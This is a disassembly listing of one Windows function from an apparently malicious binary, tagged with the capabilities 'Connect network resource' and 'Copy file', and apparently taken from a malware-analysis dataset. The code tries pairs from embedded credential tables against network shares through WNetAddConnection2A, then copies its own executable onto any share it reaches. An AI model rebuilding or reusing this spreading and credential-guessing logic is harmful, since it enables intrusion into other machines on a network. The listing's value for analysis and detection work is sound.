Function at 0x408558
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc
push 0
push 0
dec ecx
jne 0x408560
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402a4c
xor eax, eax
push ebp
push 0x4087bf
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push dword [eax - 8]
push 0x4087d8
push dword [ebp - 4]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00402924
mov dword [ebp - 0x34], 1
xor eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
call fcn.00402a5c
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
call fcn.00402864
push eax
mov eax, dword [ebp - 0x10]
call fcn.00402a5c
push eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
call fcn.00404b58
test eax, eax
je 0x40860e
mov eax, 0x410f40
mov edx, 0x20
call fcn.00404d7c
mov ebx, eax
mov eax, 0x410f64
mov edx, 0x279
call fcn.00404d7c
mov word [ebp - 0xa], ax
jmp 0x408618
mov bx, 1
mov word [ebp - 0xa], 1
movzx eax, bx
test eax, eax
jle 0x408794
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 1
movzx ebx, word [ebp - 0xa]
test ebx, ebx
jle 0x408788
mov edi, 1
push 0
lea eax, [ebp - 0x3c]
push eax
mov edx, 0x410f40
mov ecx, 0x20
mov ax, word [ebp - 0x14]
call fcn.00404d48
mov eax, dword [ebp - 0x3c]
call fcn.00402a5c
push eax
lea eax, [ebp - 0x40]
push eax
mov edx, 0x410f64
mov ecx, 0x279
mov eax, edi
call fcn.00404d48
mov eax, dword [ebp - 0x40]
call fcn.00402a5c
push eax
lea eax, [ebp - 0x38]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x408780
mov ebx, 1
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x24]
call fcn.004027b0
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x48]
mov esi, ebx
add si, 0xb9
mov eax, esi
call fcn.00404d00
mov edx, dword [ebp - 0x48]
pop eax
call fcn.0040286c
mov eax, dword [ebp - 0x44]
call fcn.00404b30
test al, al
je 0x408769
push 0
push dword [ebp - 4]
lea edx, [ebp - 0x50]
mov eax, esi
call fcn.00404d00
push dword [ebp - 0x50]
lea edx, [ebp - 0x54]
mov ax, 0xbe
call fcn.00404d00
push dword [ebp - 0x54]
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.00402924
mov eax, dword [ebp - 0x4c]
call fcn.00402a5c
push eax
lea edx, [ebp - 0x58]
xor eax, eax
call fcn.00401514
mov eax, dword [ebp - 0x58]
call fcn.00402a5c
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x408769
call fcn.00404b58
test eax, eax
je 0x408762
mov eax, dword [ebp + 8]
push eax
push dword [ebp - 4]
lea edx, [ebp - 0x60]
mov eax, esi
call fcn.00404d00
push dword [ebp - 0x60]
lea edx, [ebp - 0x64]
mov ax, 0xbe
call fcn.00404d00
push dword [ebp - 0x64]
lea eax, [ebp - 0x5c]
mov edx, 3
call fcn.00402924
mov eax, dword [ebp - 0x5c]
call fcn.00408424
pop ecx
mov dword [ebp - 8], 0xffffffff
inc ebx
cmp ebx, 5
jne 0x408694
push 0xffffffffffffffff
mov eax, dword [ebp - 0x24]
push eax
call sub.mpr.dll_WNetCancelConnectionA
jmp 0x408788
inc edi
dec ebx
jne 0x40863e
inc dword [ebp - 0x14]
dec dword [ebp - 0x18]
jne 0x40862d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4087c6
lea eax, [ebp - 0x64]
mov edx, 0xb
call fcn.004025e8
lea eax, [ebp - 0x10]
call fcn.004025c4
lea eax, [ebp - 4]
call fcn.004025c4
ret